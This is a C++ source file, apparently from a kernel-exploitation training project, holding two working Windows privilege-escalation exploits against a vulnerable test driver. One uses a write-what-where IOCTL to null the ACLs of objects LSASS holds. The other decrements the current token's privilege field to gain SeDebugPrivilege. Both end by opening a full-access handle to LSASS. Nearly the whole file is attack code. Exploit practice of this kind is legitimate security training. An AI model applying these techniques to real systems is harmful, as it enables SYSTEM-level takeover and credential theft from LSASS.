-
Notifications
You must be signed in to change notification settings - Fork 91
/
Copy pathGenericAttacks.cpp
200 lines (169 loc) · 4.92 KB
/
GenericAttacks.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
#pragma once
#include "stdafx.h"
#include "GenericAttacks.h"
#include "KernelAddressLeak.h"
#include "Structures.h"
// This function will overwrite the ACL of all objects that LSASS has opened with a NULL ACL.
// This effectively removes the ACL, which will allow anyone to open a PROCESS_ALL_ACCESS handle to lsass
// and do DLL injection (or another technique) to elevate to SYSTEM.
// See https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
// Test on Windows 6.1 x86/x64
BOOL AttackWriteWhatWhere(HANDLE hDevice)
{
BOOL functionSuccess = false;
DWORD processId = 0;
PVOID* objectAddresses = NULL;
size_t objectCount = 0;
BOOL bRc = false;
void* ioctlDest = NULL;
DATACOPY* dataCopy = NULL;
void* ioctlSrc = NULL;
HANDLE hLsass = NULL;
printf("+ Entering AttackWriteWhatWhere.\n");
//Get the process ID of lsass
BOOL success = GetProcessIdByName(L"lsass.exe", &processId);
if (!success)
{
printf("- Failed to get process by name.\n");
goto Cleanup;
}
printf("+ Process ID of LSASS: 0x%x\n", processId);
//Leak the addresses of all the process handles LSASS has opened
success = LeakProcessObjectAddresses((HANDLE)processId, &objectAddresses, &objectCount);
if (!success)
{
printf("- Failed to call LeakProcessObjectAddresses.\n");
goto Cleanup;
}
for (size_t i = 0; i < objectCount; i++)
{
//
// Performing WriteWhatWhere to null process ACL
//
DWORD bytesReturned = 0;
dataCopy = new DATACOPY();
DWORD overwriteSize = sizeof(PVOID);
ioctlSrc = malloc(overwriteSize);
SecureZeroMemory(ioctlSrc, overwriteSize);
dataCopy->Dest = PVOID((UINT_PTR)objectAddresses[i] - overwriteSize);
dataCopy->DestLength = overwriteSize;
dataCopy->Source = ioctlSrc;
dataCopy->SourceLength = overwriteSize;
ioctlDest = malloc(overwriteSize);
printf("+ Overwriting address: 0x%p\n", dataCopy->Dest);
bRc = DeviceIoControl(hDevice,
(DWORD)IOCTL_KDEXPLOITME_METHOD_WRITEWHATWHERE,
dataCopy,
sizeof(*dataCopy),
ioctlDest, //Won't actually be used in this exploit
overwriteSize,
&bytesReturned,
NULL
);
if (!bRc)
{
printf("- Error in DeviceIoControl : %d\n", GetLastError());
goto Cleanup;
}
}
//Attempt to get a handle to LSASS, which is normally not possible, but should be possible after running the exploit
hLsass = OpenProcess(PROCESS_ALL_ACCESS, false, processId);
if (!hLsass)
{
printf("- Error opening a HANDLE to LSASS. Error code: 0x%x\n", GetLastError());
goto Cleanup;
}
printf("+ Successfully opened a full access handle to LSASS. Exploit worked!.\n");
functionSuccess = true;
Cleanup:
if (objectAddresses)
{
free(objectAddresses);
objectAddresses = NULL;
}
if (ioctlSrc)
{
free(ioctlSrc);
ioctlSrc = NULL;
}
if (ioctlDest)
{
free(ioctlDest);
ioctlDest = NULL;
}
if (dataCopy)
{
delete dataCopy;
dataCopy = NULL;
}
if (hLsass)
{
CloseHandle(hLsass);
hLsass = NULL;
}
return functionSuccess;
}
// This will decrement the privileges held by the current process by 1. This will effectively turn on almost all privileges
// for the process, including SeDebugPrivilege. With SeDebugPrivilege, you can do DLL injection in to any process.
// See https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
// Test on Windows 6.1 x86/x64
BOOL AttackDecAddress(HANDLE hDevice)
{
BOOL functionSuccess = false;
PVOID tokenAddress = NULL;
PVOID privilegeAddress = NULL;
BOOL success = false;
size_t ioctlDest = 0;
DWORD bytesReturned = 0;
DECADDRESS inBuf = { 0 };
HANDLE hLsass = NULL;
DWORD lsassProcId = 0;
success = LeakCurrentUserTokenAddress(&tokenAddress);
if (!success)
{
printf("- Error calling LeakCurrentUserTokenAddress.\n");
goto Cleanup;
}
privilegeAddress = (PVOID)((UINT_PTR)tokenAddress + 0x48);
inBuf.Value = (size_t*)privilegeAddress;
inBuf.Dec = TRUE;
printf("+ Decrementing memory at address: 0x%p\n", inBuf.Value);
BOOL bRc = DeviceIoControl(hDevice,
(DWORD)IOCTL_KDEXPLOITME_METHOD_DECADDRESS,
&inBuf,
sizeof(inBuf),
&ioctlDest, //Won't actually be used in this exploit
sizeof(ioctlDest),
&bytesReturned,
NULL
);
if (!bRc)
{
printf("- Error in DeviceIoControl : %d\n", GetLastError());
goto Cleanup;
}
//Get the process ID of lsass
success = GetProcessIdByName(L"lsass.exe", &lsassProcId);
if (!success)
{
printf("- Failed to get process by name.\n");
goto Cleanup;
}
printf("+ Process ID of LSASS: 0x%x\n", lsassProcId);
//Attempt to get a handle to LSASS, which is normally not possible, but should be possible after running the exploit
hLsass = OpenProcess(PROCESS_ALL_ACCESS, false, lsassProcId);
if (!hLsass)
{
printf("- Error opening a HANDLE to LSASS. Error code: 0x%x\n", GetLastError());
goto Cleanup;
}
printf("+ Successfully opened a full access handle to LSASS. Exploit worked!.\n");
functionSuccess = true;
Cleanup:
if (hLsass)
{
CloseHandle(hLsass);
hLsass = NULL;
}
return functionSuccess;
}